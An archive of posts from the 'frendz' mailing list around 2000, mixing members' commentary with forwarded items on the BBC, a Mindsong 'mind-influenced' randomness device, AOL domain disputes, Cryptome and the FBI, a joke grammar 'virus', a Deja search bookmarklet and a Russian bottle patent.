--- F R E N D Z of martian --- Ahh yes but is the BBC still a public service broadcaster which is of course what we pay our license fee for? Well let's see... my opinion of the Beeb changed dramatically a few years ago when protesters managed to close the approach to the M40 - I missed it, but tuned in to the news programmes to get a glimpse. I didn't find a single report about it. The BBC had been equally quiet about the protesters' side of the story at Newbury, at the bypass protest. I'd like a licence fee form where I can tick the programs I want to see funded. Guess what? I wouldn't tick 'News'. I'd probably just tick 'Open University' and 'Natural history'. The idea of the BBC as a public service broadcaster is naive. Public propaganda and control might be more appropriate. Nice to see a bit of discussion in frendz... glad to see you're all alive :-) luvonya martian -- Sent to you via the frendz list at marsbard.com The archive is at http://www.mail-archive.com/frendz@marsbard.com/
look at all these martians!
--- F R E N D Z of martian --- This is the To: line from some spam I just got - weird that they isolated all the martians... I suppose they base their sending on what's in the left hand side of the '@' sign in the address Just goes to show - you think you've got a fairly unique kinda 'nym, and then all these other ppl nick it off you. I'm actually only on this list once even though I've got another few addresses that I have used at one time or another luvonya martian To: [EMAIL PROTECTED], [EMAIL PROTECTED], [EMAIL PROTECTED], [EMAIL PROTECTED], [EMAIL PROTECTED], [EMAIL PROTECTED], [EMAIL PROTECTED], [EMAIL PROTECTED], [EMAIL PROTECTED], [EMAIL PROTECTED], [EMAIL PROTECTED], [EMAIL PROTECTED], [EMAIL PROTECTED], [EMAIL PROTECTED], [EMAIL PROTECTED], [EMAIL PROTECTED], [EMAIL PROTECTED], [EMAIL PROTECTED], [EMAIL PROTECTED], [EMAIL PROTECTED], [EMAIL PROTECTED], [EMAIL PROTECTED], [EMAIL PROTECTED], [EMAIL PROTECTED], [EMAIL PROTECTED], [EMAIL PROTECTED], [EMAIL PROTECTED], [EMAIL PROTECTED], [EMAIL PROTECTED], [EMAIL PROTECTED], [EMAIL PROTECTED], [EMAIL PROTECTED], [EMAIL PROTECTED], [EMAIL PROTECTED], [EMAIL PROTECTED], [EMAIL PROTECTED], [EMAIL PROTECTED], [EMAIL PROTECTED], [EMAIL PROTECTED] -- Sent to you via the frendz list at marsbard.com The archive is at http://www.mail-archive.com/frendz@marsbard.com/
Re: Mindsong
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Cor what a load of technobabble [ ok so maybe the following is too :-) ]
So this device creates a random 'output' (what does it output to? that box
in the picture just has a connection back to the computer) anyway the idea
is that your mind can affect this random field ( they make a big deal of
the non-determistic thing ("Randomness source: processed physical
electronic") so it's probably a reverse-biased zener diode which gives
truly random pink noise based on electrons jumping about, costs about 50p
) and they can measure the difference between the expected random output
and what they're actually getting (wow, a comparator built out of a 20p
op-amp), record it into an Access database (of all things) and then make
you buy some software to actually analyse these numbers?? ("This product
requires a research background... not designed for the average consumer")
If they took the comparator out and just fed their '8 bit bytes of random
bits' and transmitted it with their 'Asynchronous Baud Rate' of 9600 down
the 'DB9 on 6-in. cable' connector (wow, truly compelling specs) it would
be a great device for providing randomness for your fave crypto program,
and it would probably be worth the $425.
But just imagine the situation - the new zen master you just hired as a
unix sysadmin is sitting meditating (the system is running perfectly and
you would see that all the bits on the disk are arranged in a perfect zen
garden, if only you could look at it with an electron microscope) -
suddenly your random data is interspersed with spikes at alpha wave
frequency - the enemy cryptanalyst who is capturing all your email now has
a new weapon in his arsenal and sets to work with his periodic
functions.
(Ok the last 2 words were technobabble; can't remember the attack based on
non-randomness (it's the reason that pseudo-random generators are crap)
and I can't be bothered to get Schneier off the shelf - read Schneier,
Bruce, "Applied Cryptography" if you need to know)
All that (and my apparent cynicism) apart, are there any experimental
reports anywhere to support this theory? I'd really love to read something
on the subject that wasn't techno-waffle
martian
BTW jerry, isn't one of your tunes called 'Mindsong' or have I got that
wrong? What's the URL for your tunes again? ;-) [bit of advertising never
hurt anyone - mebbe you should put it in your sig]
On Tue, 12 Sep 2000 [EMAIL PROTECTED] wrote:
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F R E N D Z of martian
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Voigt-Kampff it up:
http://www.mindsonginc.com/products/index.html
A New Form of Communications Technology.
Mindsong, Inc. is developing products which demonstrate a new form of
communications technology, which uses the intentions and emotional
states of living systems to control and influence outputs and provide
feedback to users in a variety of circumstances.
Mindsong's technology is patented as An Apparatus and Method for
Distinguishing Events Which Collectively Exceed Chance Expectations
and Thereby Controlling an Output.
LoVeLiGHT,
JeRRY
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GeeK: Pink Floyd Movie Syncs (fwd)
--- F R E N D Z of martian --- Apparently Pink Floyd made a habit of syncing their albums to particular classic movies... -- Forwarded message -- Date: Sun, 10 Sep 2000 11:55:26 -0400 From: Sameer Patil [EMAIL PROTECTED] To: [EMAIL PROTECTED] Subject: GeeK: Pink Floyd Movie Syncs I have discovered several more movie synchs since the last time I updated this page on 11/7/98. I've wanted to share these but have held off until I completed the puzzle. Below I reveal the remaining synchs and describe a total of 13 intentional Pink Floyd synchs spanning 11 albums. http://www.geocities.com/SunsetStrip/Amphitheatre/3528/ -- Sent to you via the frendz list at marsbard.com The archive is at http://www.mail-archive.com/frendz@marsbard.com/
nettime Best of all, they're hiring! (fwd)
--- F R E N D Z of martian --- In the future, all the web designers are dead... http://futurefeedforward.com/ martian -- Forwarded message -- Date: Tue, 05 Sep 2000 18:36:34 -0500 From: Bruce Sterling [EMAIL PROTECTED] To: [EMAIL PROTECTED] Subject: nettime Best of all, they're hiring! From: public relations [EMAIL PROTECTED] Subject: New Company Tells Future, Sells Future To: [EMAIL PROTECTED] September 1, 2000 New Company Tells Future, Sells Future NEW HAVEN--Futurefeedforward, a young start-up company in southern Connecticut, publicly announced today that it has established a computer networking link to the future. The company's Temporal Networking technology enables it to directly gather information about the future from databases located in the future and linked to present day computers in its New Haven offices. The company reports that by eventually building extensive databases in the future containing information about events between now and the future, and by networking "ForwardServers" with "present-side clients," it has gained unprecedented access to information about the future. "The commercial possibilities are literally endless," notes a company spokesperson. "One simple example: Marketers can improve the effectiveness of advertising campaigns by targeting only those consumers who will eventually buy what they're selling." Although the exact nature of the technology remains a secret, company materials claim that information can be encoded in "wave packets" traveling back in time on "retrograde quantum effects." A present-day "black box" device collects and decodes these packets, producing usable, present-day information about future events. Company founder Redroe "Red" Boudaine invented the technology and established the company to develop and exploit its commercial possibilities. The company currently offers financial and research services to the industrial, commercial, and consumer markets. Its research division, predictably, touts its ability to produce unequalled and unequallable analyses of future trends; but its financial services division aims to profit by selling money below its current value. "Money wants to be free!" declares CEO Boudaine. Prominent banking officials doubt the viability of a business which sells money below cost. "If I sell you $1 million for, say, $900,000, that's just not a business, that's a bankruptcy waiting to happen," noted a Federal Reserve spokeswoman. Boudaine remains undaunted: "Its not that banking officials are behind-the-times; its just that we are ahead, looking decades, centuries, even millennia into the future. They may refuse to accept our vision now, but, eventually, we will own them, all of them." The company's web-presence at futurefeedforward.com regularly publishes news about future events in an attempt to "spread the word about the company" and to "build our brand." __ Do you know the Future? We do. For more stories, or to subscribe, visit us at http://futurefeedforward.com __ Do you know the future? We do. http://futurefeedforward.com # distributed via nettime: no commercial use without permission # nettime is a moderated mailing list for net criticism, # collaborative text filtering and cultural politics of the nets # more info: [EMAIL PROTECTED] and "info nettime-l" in the msg body # archive: http://www.nettime.org contact: [EMAIL PROTECTED] -- Sent to you via the frendz list at marsbard.com The archive is at http://www.mail-archive.com/frendz@marsbard.com/
[Random-bits] AOL and AOLBETA.com (fwd)
--- F R E N D Z of martian --- Dodgy. Looks like AOL are their own NIC/registrar, and when they find a domain they want they just transfer it to Compuserve's registrar. (I assume that they own Compuserve, I haven't been watching/caring...) -- Forwarded message -- Date: Wed, 06 Sep 2000 09:41:53 -0400 From: James Love [EMAIL PROTECTED] To: Multiple recipients of list RANDOM-BITS [EMAIL PROTECTED] Subject: [Random-bits] AOL and AOLBETA.com Ted Byfield ran across this interesting URL: http://observers.net/aolbeta.html AOLBeta.Com stolen from 16 year old by AOL By Scott (updated 9/5 9:30am EST, see bottom) The latest owner of AOLBeta.com has lost the domain to America Online, adding to a list of problems with this domain. 16 year old Nickolas Grove registered the domain AOLBeta.com on August 20 after seeing the domain was free to purchase. Nickolas started noticing trouble on August 30 when he had trouble uploading his completed webpage, which took him over a week to construct. After contacting his web hosting provider, it was determined that the DNS (Domain Name Server) settings were incorrect. America Online had simply transferred the domain to their ICANN Registrar, therefore pulling any control that Nickolas had of the domain, regardless of the fact that the domain was not paid for by AOL. [snip] -- James Love mailto:[EMAIL PROTECTED] http://www.cptech.org Consumer Project on Technology, P.O. Box 19367, Washington, DC 20036 voice 1.202.387.8030 fax 1.202.234.5176 ___ Random-bits mailing list [EMAIL PROTECTED] http://lists.essential.org/mailman/listinfo/random-bits -- Sent to you via the frendz list at marsbard.com The archive is at http://www.mail-archive.com/frendz@marsbard.com/
4search
--- F R E N D Z of martian --- -BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Dunno if you've noticed but there's a dinky toy at http://marsbard.com/ It's called 4search, and it opens a page with 5 frames - a control frame to resubmit a search and 4 subframes containing search results from 4 different search engines. The engines used are: ragingsearch.altavista.com (av recently launched this as a response to google and alltheweb having seriously lightweight download footprints) google.com alltheweb.com dmoz.org - The open directory (I did have infind in here (http://www.infind.com/) which is a parallel parasitic search engine but (a) being parasitic it would probably return many similar results to the other frames and (b) it kept dropping cookies on me, whereas dmoz and the others don't do that) It isn't sophisticated - you have to open the links in a new window because I haven't attempted to pull them onto marsbard and mangle the links so they say target=new (although I guess it wouldn't be too hard). But it's useful (for me at least) and it only took half an hour. martian -BEGIN PGP SIGNATURE- Version: GnuPG v1.0.1 (GNU/Linux) Comment: For info see http://www.gnupg.org Filter: gpg4pine 4.1 (http://azzie.robotics.net) iD8DBQE5rB9gn98ddgmTOjYRAtYeAKCdkmV4CKY3SPdzGSazHSfhZXpKbACfcZkF KFu4WrpANlnkwije7mpeQGI= =jvno -END PGP SIGNATURE- -- Sent to you via the frendz list at marsbard.com The archive is at http://www.mail-archive.com/frendz@marsbard.com/
Re: Help
--- F R E N D Z of martian --- -- Sent to you via the frendz list at marsbard.com The archive is at http://www.mail-archive.com/frendz@marsbard.com/
[Fwd: [_] Fw: Dubious website.]
apols to underscore readers... Wenesday fun .. -Original Message- From: Helen Picard go to http://www.pearsons.com/home.htm Remember this is a real companies website! An odd homepage to say the least. Let all the graphics load and then hover the mouse pointer over "Enquiry form". Give it a couple of seconds and Hey Presto!! Very dubious indeed underscore_ website - http://www.bristol.net/_/ underscore_ list info - http://www.bristol.net/_/list.htm underscore_ list archive - http://www.bristol.net/_/archive.htm
Truly scary
--- F R E N D Z of martian --- http://www.askjesus.org/ask.cgi?http://dell.com ... or any URL you choose. -- Sent to you via the frendz list at marsbard.com The archive is at http://www.mail-archive.com/frendz@marsbard.com/
GoLinks
--- F R E N D Z of martian --- Here's a little something I cooked up to make life a little easier... I hate it when emails arrive containing URLs which are too long for a line. Copy / Edit / Paste gets a bit boring. So here's a script to give a shortened redirection URL for inclusion in emails. "GoLinks" is at http://marsbard.com/cgi-bin/go Also, if you're using 'coolToolz' (install at http://marsbard.com/cool/coolInstall.html) you'll find a new entry near the top of the page: "Make this link a GoLink" which will take you to the GoLinks page with the URL already filled in for you. As a bonus you can get a simple hitcount of the number of people who visited. In the future I might add more comprehensive stats. Let me know if there are any bugs. martian -- Sent to you via the frendz list at marsbard.com The archive is at http://www.mail-archive.com/frendz@marsbard.com/
Re: ota sPEC (VERY TECHIE)
--- F R E N D Z of martian --- Coo, missed this one due to 1000-odd mails in my inbox when I got back from Eire... cheers Vince :-) [this is the kind of stuff I love] - Original Message - From: "Vince Hoffman" [EMAIL PROTECTED] To: [EMAIL PROTECTED] Sent: Wednesday, July 19, 2000 6:51 PM Subject: FW: ota sPEC (VERY TECHIE) --- F R E N D Z of martian --- -Original Message- From: John Morse Sent: 19 July 2000 16:40 To: WAPinfo; Developers Subject: ota sPEC (VERY TECHIE) http://www.3glab.com/org/ota.html these guys have reverse engineered the nokia OTA (over the air) spec for configuring mobile deveices by sms... slightly naughty but interesting in a 'geeky' kinda 'must get out more and meet people', way regards uncle john -- Sent to you via the frendz list at marsbard.com The archive is at http://www.mail-archive.com/frendz@marsbard.com/ -- Sent to you via the frendz list at marsbard.com The archive is at http://www.mail-archive.com/frendz@marsbard.com/
INSIDE STORY OF AN MI5 CELL - GADFLY
--- F R E N D Z of martian --- from http://www.aij-uk.com "The security service does not kill people or arrange their assassination," proclaims MI5's official website in a tirade of denials about the organisation's perceived misdemeanours. "It is subject to the rule of law in just the same way as other public bodies," it adds. So the Hilda Murrell file will therefore remain open for some time yet. But anyone who believes the MI5 spin that our domestic security service is, and always was, squeaky clean and never used any underhand tactics in the pursuit of its cause (whatever that cause happens to be - which still remains a bit of a mystery) might like to ponder a little reconnaissance mission undertaken by Gadfly at an abandoned office block in north London. DEMOLITION SITE On the corner of the major north London junction of Euston Road and Gower Street - just a stone's throw from University College Hospital and the Slade School of Art - lies an unremarkable demolition site. The site is located immediately above Euston Square Underground Station and will soon become a brand spanking-new administration block servicing the nearby Glaxo Wellcome Foundation. That site is 140 Gower Street, London, WC1E 6BY. Until some five years ago 140 Gower Street was the anonymous headquarters of MI5 before it moved to the palatial splendour of Thames House next door to Labour's Millbank headquarters in Westminster. It housed the director-general, her secretariat, a particularly sensitive registry and some of the most top secret (and controversial) of MI5's active service units. STENCH OF FAILURE It was from 140 Gower Street, according to the late Peter Wright, that MI5 "bugged and burgled its way across London." The same premises also bore "the stench of failure" according to another former MI5 aficionado. But Gadfly can make a startling revelation about number 140 Gower Street. When this run-down and decaying post-war concrete monstrosity was starting to be demolished last year, Gadfly was walking along Gower Place one summer's evening and found the back door open. So an impromptu inspection took place. The premises could have been a redundant dole office or local council annex - until you reached the seventh floor. BARRED WINDOWS Inspect the predictable row upon row of small, empty offices and there is little to report. One such office, however, grabbed the attention because it had barred windows. Enter this office and the adjacent office had been converted into a prison cell. It had all the trappings: a steel door with spyhole; heavy-duty Chubb lock; emergency alarm. The cell itself bore only a wooden bench and foot-operated lavatory. Which begs the question: who had the pleasure of being locked-up inside 140 Gower Street by MI5? "The Secret Service is a civilian organisation and its officers have no executive powers, such as the authority to detain or arrest people," its current website boasts. "It is not a 'secret police force.'" Anyone wanting to know more about this little mystery will jolly well have to table a parliamentary question to find out, although it is unlikely that the Home Secretary will succumb. However, Gadfly feels it remains considerably more interesting unanswered. SUSPICION OF BURGLARY But Gadfly can offer legal proof of this little recce. Also found strewn around the deserted building were some old MI5 files of a particularly tedious nature. In the interest of national security, however, Gadfly dropped them into a nearby police station only to be arrested on suspicion of burglary and locked up in a police cell for some six hours before being released without charge - clutching the obligatory photocopy of the detention record. Last word, however, to the chaps down at Thames House. "Section 1 of the Official Secrets Act 1989 is sometimes criticised as prohibiting disclosures even about such matters as the colour of the Thames House carpets and the menu in the staff restaurant," it boasts. The MI5 wag continues: "These criticisms are misguided: it is not an offence for a member of the Service to disclose that the Thames House carpets are blue, or that the staff restaurant serves a particularly good Chicken Madras!" Copyright © 2000 Investigative Journalism Review from http://www.aij-uk.com -- Sent to you via the frendz list at marsbard.com The archive is at http://www.mail-archive.com/frendz@marsbard.com/
Fw: nettime FBI and Cryptome
--- F R E N D Z of martian --- - Original Message - From: "nettime's_roving_reporter" [EMAIL PROTECTED] To: [EMAIL PROTECTED] Sent: Friday, July 21, 2000 2:29 PM Subject: nettime FBI and Cryptome http://cryptome.org/fbi-psia.htm 20 July 2000 _ To: [EMAIL PROTECTED] From: John Young [EMAIL PROTECTED] Date: 20 July 2000 Subject: PSIA Request July 20, 2000 Federal Bureau of Investigation NCCS, New York C37 Dear FBI, This confirms my telephone remarks today that I decline your request to remove the list of members of Japan's Public Security Investigation Agency posted on Cryptome: http://cryptome.org/psia-lists.htm The file shall not be removed except in response to a US court order. You have informed me that your telephone request to remove the list was made at the request of the Japanese Ministry of Justice and that no US criminal investigation is underway in this matter. You said that you will convey to the Ministry of Justice that I have declined to remove the list and that I should expect to be contacted directly by the Ministry of Justice as a result of declining to remove the list. You said that you will speak to the US Attorney and call me again. I have agreed with your request not to identify the two FBI Special Agents to whom I spoke today. I told you that I would be publishing an account of this on Cryptome. Regards, John Young Cryptome _ Note: Yes, it is contradictory that Cryptome will publish the PSIA names but not those of the FBI Special Agents. The senior Special Agent said at the end of the conversation that if his and the other agent's names were published "you are going to be in real trouble." Until that time both agents had been very polite. He then said he was going to take the matter up with the US Attorney and call again. So we're brooding on that threat, pondering the FBI names on this notepad, comparing this situation with that of the MI6 names and the MI5 names and the Iranian names and the PSIA names and the CIA names Cryptome has published. In none of the other instances was Cryptome threatened. And are wondering why the FBI carnivores deserve privacy we don't get from them and the world's surveillance agencies. More later. Meanwhile, if curious send an inquiry to the FBI address on our e-mail. Or telephone: 212-384-3155. _ Date: Fri, 21 Jul 2000 00:34:27 -0400 To: [EMAIL PROTECTED] From: John Young [EMAIL PROTECTED] Subject: PSIA Request July 21, 2000 Federal Bureau of Investigation NCCS, New York C37 Dear FBI, This supplements my message yesterday on declining to remove a list of names of members of Japan's Public Security Investigation Agency from the Internet site Cryptome.org. In that message I wrote that I agreed with your request to not identify the two Special Agents who spoke to me on this matter. After reflecttion on this I have decided that publishing the names of the Special Agents would be consistent with publishing the names of the PSIA members, and in both cases the purpose of publishing is to contribute to public awareness of how government functions and to identify who performs those functions. I believe this is why the two Special Agents readily identified themselves to me and that it would be appropriate for me to share that information with readers of Cryptome. Therefore I shall publish the names of the two Special Agents who spoke with me at: http://cryptome.org/fbi-psia.htm Sincerely, John Young Cryptome _ The FBI Special Agent who initially telephoned was James Castano. Mr. Castano explained the Ministry of Justice request to remove the PSIA material and answered all my questions about it. I explained my intention to publish an account of the FBI's request on Cryptome because there had been interest in how such requests are processed between governments. I asked if I could provide his name in the account. He asked with emphasis that I not do so. I agreed. In the course of discussing my sending an e-mail to Mr. Castano, his supervisor, Special Agent Dave Marzigliano (I believe he spelled it), came on the phone and repeated the information Mr. Castano provided about the Ministry of Justice request. Both agents were very courteous during most of the conversations. Except toward the end of the conversation with Mr. Marzigliano, when I mentioned my intention to publish an account without revealing his and Mr. Castano's names, he warned me there would be "serious trouble" if their names were published, and that he would be speaking with the US
Re: New cool link (Advogato)
--- F R E N D Z of martian --- Advogato Even better than Slashdot, apparently. More controversial, anyway: "Linus Torvalds will not be remembered in history as an innovator, he will be remembered as in implementor. As his discussions on Minix with Andy Tanenbaum show, Linus wasn't concerned with new technology, taking advantage of powerful hardware or dealing with the problems of tomorrow. He seized the opportunity to apply textbook principles and build an OS kernel using 60s concepts. Linus should not be hailed as a great hero, who boldy coded where no man had done before. The reason that Linux is now so good is the work of thousands stabilising and improving the system. Linus should, rightly, be congratulated for sitting down and doing a dirty job that nobody in operating systems wanted anything to do with, writing a working system using old technology" (BTW Ireland was great :-) -- Sent to you via the frendz list at marsbard.com The archive is at http://www.mail-archive.com/frendz@marsbard.com/
Fw: Efficient Code
--- F R E N D Z of martian --- - Original Message - From: "sat" [EMAIL PROTECTED] To: [EMAIL PROTECTED] Sent: Saturday, July 08, 2000 11:03 PM Subject: GeeK: Efficient Code The Human Genome for download in one 6.7 Megabyte Zip File. http://genome.cse.ucsc.edu/goldenPath/15june2000/bigZips/ -- Sent to you via the frendz list at marsbard.com The archive is at http://www.mail-archive.com/frendz@marsbard.com/
Fw: The Pluperfect Virus
--- F R E N D Z of martian --- I don't know enough english to know if this is funny or not, but I know there are some peeps on the list who do... At a guess I'd say it isn't, so only read it if you're bored or you want to technically dissect it... :-? But if you, dear recipient, are able to find it funny, then you are probably capable enough to articulate the reasons why. I hope you'll enlighten us all with the reasons if you find them :-) martian - Original Message - From: "J.C.'s Jokes" [EMAIL PROTECTED] To: [EMAIL PROTECTED]; [EMAIL PROTECTED]; [EMAIL PROTECTED] Sent: Sunday, July 02, 2000 8:33 PM Subject: FW: The Pluperfect Virus A new computer virus is spreading throughout the Internet, and it is far more insidious than last week's Chernobyl menace. Named Strunkenwhite after the authors of a classic guide to good writing, it returns e-mail messages that have grammatical or spelling errors. It is deadly accurate in its detection abilities, unlike the dubious spell checkers That come with word processing programs. The virus is causing something akin to panic throughout corporate America, which has become used to the typos, misspellings, missing words and mangled syntax so acceptable in cyberspace. The CEO of LoseItAll.com, an Internet startup, said the virus has rendered him helpless. "Each time I tried to send one particular e-mail this morning, I got back this error message 'Your dependent clause preceding your independent clause must be set off by commas, but one must not precede the conjunction.' I threw my laptop across the room." A top executive at a telecommunications and long-distance company, 10-10-10-10-10-10-123, said "This morning, the same damned e- mail kept coming back to me with a pesky notation claiming I needed to use a pronoun's possessive case before a gerund. With the number of e- mails I crank out each day, who has time for proper grammar? Whoever created this virus should have their programming fingers broken." A broker at Begg, Barow and Steel said he couldn't return to the "bad, old" days when he had to send paper memos in proper English. He speculated that the hacker who created Strunkenwhite was a "disgruntled English major who couldn't make it on a trading floor. When you're buying and selling on margin, I don't think it's anybody's business if I write that 'i meetinged through the morning, then cinched the deal on the cel phone while bareling down the xway.' " If Strunkenwhite makes e-mailing impossible, it could mean the end to a communication revolution once hailed as a significant timesaver. A study of 1,254 office workers in Leonia, N.J., found that e-mail increased employees' productivity by 1.8 hours a day because they took less time to formulate their thoughts. (The same study also found that they lost 2.2 hours of productivity because they were e-mailing so many jokes to their spouses, parents and stockbrokers.) Strunkenwhite is particularly difficult to detect because it doesn't come as an e-mail attachment (which requires the recipient to open it before it becomes active). Instead, it is disguised within the text of an e-mail entitled "Congratulations on your pay raise." The message asks the recipient to "click here to find out about how your raise effects your pension." The use of "effects" rather than the grammatically correct "affects" appears to be an inside joke from Strunkenwhite's mischievous creator. The virus also has left government e-mail systems in disarray. Officials at the Office of Management and Budget can no longer transmit electronic versions of federal regulations because their highly technical language seems to run afoul of Strunkenwhite's dictum that "vigorous writing is concise." The White House speechwriting office reported that it had received the same message, along with a caution to avoid phrases such as "the truth is. . ." and "in fact. . . ." Home computer users also are reporting snafus, although an e-mailer who used the word "snafu" said she had come to regret it. The virus can have an even more devastating impact if it infects an entire network. A cable news operation was forced to shut down its computer system for several hours when it discovered that Strunkenwhite had somehow infiltrated its TelePrompTer software, delaying newscasts and leaving news anchors nearly tongue-tied as they wrestled with proper sentence structure. There is concern among law enforcement officials that Strunkenwhite is a harbinger of the increasingly sophisticated methods hackers are using to exploit the vulnerability of business's reliance on computers. "This is one of the most complex and invasive examples of computer code we have ever encountered. We just can't imagine what kind of devious mind would want to tamper with e-mails to create this burden on communications," said an FBI agent who insisted on speaking via the telephone out
Re: useful thing
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That code doesn't work
a) if the page you're on doesn't have frames
b) if no selection has been made.
I haven't actually verified that it works on pages with frames and text
selected either ;-)
I tried to fix it at http://marsbard.com/neil/ but I think it's still broken
martian
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From: "Neil Elkins" [EMAIL PROTECTED]
To: [EMAIL PROTECTED]
Sent: Friday, June 30, 2000 4:50 PM
Subject: useful thing
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I just made this link button link to search the deja.com usenet archive...
If anyone wants to bung it on a web site, that'll be great, 'cos then
you'll
all be able to drag and drop it onto your IE links bar...
javascript:q=(document.frames.length?'':document.selection.createRange().tex
t);for(i=0;idocument.frames.length;i++){q=document.frames[i].document.selec
tion.createRange().text;if(q!='')break;}if(q=='')void(q=prompt('Enter text
to search
dejanews.',''));if(q)location.href='http://www.deja.com/dnquery.xp?ST=MSsvc
class=dnserverDBS=2QRY='+escape(q)
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Re: useful thing
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or rather... doesn't work in netscape.
IE seems happy.
http://marsbard.com/neil/ for a (currently) IE only toolbar link for
searching Dejanews
- Original Message -
From: "Neil Elkins" [EMAIL PROTECTED]
To: [EMAIL PROTECTED]
Sent: Friday, June 30, 2000 4:50 PM
Subject: useful thing
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F R E N D Z of martian
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I just made this link button link to search the deja.com usenet archive...
If anyone wants to bung it on a web site, that'll be great, 'cos then
you'll
all be able to drag and drop it onto your IE links bar...
javascript:q=(document.frames.length?'':document.selection.createRange().tex
t);for(i=0;idocument.frames.length;i++){q=document.frames[i].document.selec
tion.createRange().text;if(q!='')break;}if(q=='')void(q=prompt('Enter text
to search
dejanews.',''));if(q)location.href='http://www.deja.com/dnquery.xp?ST=MSsvc
class=dnserverDBS=2QRY='+escape(q)
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Re: useful thing
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OK - now it works in Netscape too (although I haven't checked it on a framed
site... probably it will break) Actually I've checked, it does break... will
fix later
http://marsbard.com/neil/
- Original Message -
From: "Martin Cosgrave" [EMAIL PROTECTED]
To: [EMAIL PROTECTED]
Sent: Friday, June 30, 2000 5:21 PM
Subject: Re: useful thing
or rather... doesn't work in netscape.
IE seems happy.
http://marsbard.com/neil/ for a (currently) IE only toolbar link for
searching Dejanews
- Original Message -
From: "Neil Elkins" [EMAIL PROTECTED]
To: [EMAIL PROTECTED]
Sent: Friday, June 30, 2000 4:50 PM
Subject: useful thing
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F R E N D Z of martian
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I just made this link button link to search the deja.com usenet
archive...
If anyone wants to bung it on a web site, that'll be great, 'cos then
you'll
all be able to drag and drop it onto your IE links bar...
javascript:q=(document.frames.length?'':document.selection.createRange().tex
t);for(i=0;idocument.frames.length;i++){q=document.frames[i].document.selec
tion.createRange().text;if(q!='')break;}if(q=='')void(q=prompt('Enter
text
to search
dejanews.',''));if(q)location.href='http://www.deja.com/dnquery.xp?ST=MSsvc
class=dnserverDBS=2QRY='+escape(q)
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Fw: MP3 makers
--- F R E N D Z of martian --- -BEGIN PGP SIGNED MESSAGE- Hash: SHA1 For any musos in Bristol and on this list who don't read underscore... Hi all I've just set up an eGroups list for musicians in the South West who use the MP3 format to publish their music. If you make music in the MP3 format, or you are interested in keeping up with the news on the latest and greatest free music coming from Bristol and the South West, scuttle over to http://www.egroups.com/group/bristol-mp3-makers to subscribe, or send a message to [EMAIL PROTECTED] Please forward this message anywhere it might be relevant. Cheers, martian ( http://mp3.com/martian/ ) (List moderator; since it's unmoderated that's quite easy g) -BEGIN PGP SIGNATURE- Version: PGPfreeware 6.5.1 Int. for non-commercial use http://www.pgpinternational.com iQA/AwUBOVpHqJ/fHXYJkzo2EQKiHACgh4bC47QnApLeprjAOUSWwBjEht4AoJp8 zFm7rD0Tczk1m+uE1t+B4Qme =6QtU -END PGP SIGNATURE- -- Sent to you via the frendz list at marsbard.com The archive is at http://www.mail-archive.com/frendz@marsbard.com/
Fw: Journal of the Uninvited
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- - Original Message -
From: "Chris Cappuccio" [EMAIL PROTECTED]
To: [EMAIL PROTECTED]
Sent: Sunday, June 25, 2000 10:23 PM
Subject: GeeK: Journal of the Uninvited
http://www.wholeearthmag.com/ArticleBin/350.html
This is a detailed account of events in Seattle at the November
30th WTO protest. Parts of it are more of a general editorial on
globalization. Some of the facts presented are astounding
"Already, the world's top 200 companies have twice the assets of 80
percent of the world's people."
"The police were anonymous. No facial expressions, no face. You
could not see their eyes. They were masked Hollywood caricatures
burdened with sixty to seventy pounds of weaponry. These were not
the men and women of the Sixth Precinct. They were the Gang Squads
and the SWAT teams of the Tactical Operations Divisions, closer in
their training to soldiers from the School of the Americas than to
local cops on the beat. Behind and around them were special forces
from the FBI, the Secret Service, even the CIA.
The police were almost motionless. They were equipped with US
military-standard M40A1 double-canister gas masks; uncalibrated,
semi-automatic, high-velocity Autocockers loaded with solid plastic
shot; Monadnock disposable plastic cuffs; Nomex slash-resistant
gloves; Commando boots; Centurion tactical leg guards; combat
harnesses; DK5-H pivot-and-lock riot face shields; black Monadnock
P24 polycarbonate riot batons with Trumbull stop side handles; No.
2 continuous discharge CS (ortho-chlorobenzylidene-malononitrile)
chemical grenades; M651 CN (chloroacetophenone) pyrotechnic
grenades; T16 Flameless OC Expulsion Grenades; DTCA rubber bullet
grenades ("Stingers"); M-203 (40 mm) grenade launchers, First
Defense MK-46 oleoresin capsicum (OC) aerosol tanks with hose and
wands; .60-caliber rubber ball impact munitions; lightweight
tactical Kevlar composite ballistic helmets; combat butt packs;
.30-cal. 30-round magazine pouches; and Kevlar body armor. None of
the police had visible badges or forms of identification.
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Fw: nettime Moscow Times: Company Claims Patent on the Bottle
--- F R E N D Z of martian --- -BEGIN PGP SIGNED MESSAGE- Hash: SHA1 If you thought intellectual property was nuts in the states... - - Original Message - From: "nettime's_roving_reporter" [EMAIL PROTECTED] To: [EMAIL PROTECTED] Sent: Monday, June 26, 2000 11:57 AM Subject: nettime Moscow Times: Company Claims Patent on the Bottle http://www.moscowtimes.ru/24-Jun-2000/stories/story2.html Saturday, June 24, 2000 Company Claims Patent on the Bottle By Lyuba Pronina Staff Writer A company has managed to take out patents on all glass, plastic and metal containers and is demanding that breweries throughout the country pay it 0.5 percent royalties on every bottle or can they sell. Intellect, a company specializing in legal advice on industrial property rights, secured the patents from state patent agency Rospatent and has sent letters to breweries offering a license so brewers can continue to use bottles and cans. Interfax reported Vladimir Shishin, head of the Brewers Association, as saying Friday that Intellect's demands could cost beer makers 200 million rubles ($7 million) a year. If Intellect was to succeed with other bottlers, it would receive huge income from the sales of the 1.8 billion to 2 billion bottles that, according to the Glass Research Institute, are produced in Russia each year. The country has about 250 breweries and 500 non-alcoholic beverage plants, the Brewers Association says. The Encyclopedia Britannica says the Egyptians were producing glass bottles before 1500 B.C. But that didn't stop Rospatent from issuing the patent Oct. 20. It is now in the middle of an internal investigation into whether it should have done so. "If there was a mistake, then those responsible for it will bear the consequences," said Alexander Ashikhin, director of the Federal Institute of Industrial Property, a division of Rospatent which advises the agency on whether patent applications should be approved. "Someone might even be fired." The institute, whose experts are retracing the steps taken to issue the patent, is wary of saying the patent was issued in error. It said it has ruled out the possibility that bribes were paid to get the patent. Critics say the patent application was written in complicated language and pertained to a feature inherent in all bottles. Intellect general director Vladimir Zaichenko said the company was set up 1 1/2 years ago and has received hundreds of patents f on screws, ball bearings, flasks, cisterns, ampules, railroad lines and other everyday items. It applied for the patents on bottles and cans on behalf of a client, Technopolis, Zaichenko said. He refused to provide information on Technopolis, saying only that "among other fields it's involved in invention." Zaichenko said inventors are not responsible for knowing whether their inventions already exist. "If a patent is issued, then Rospatent recognizes the idea as being original," he said. "They are the experts." Representatives of Moscow's breweries, among them such heavyweights such as Ochakovo, 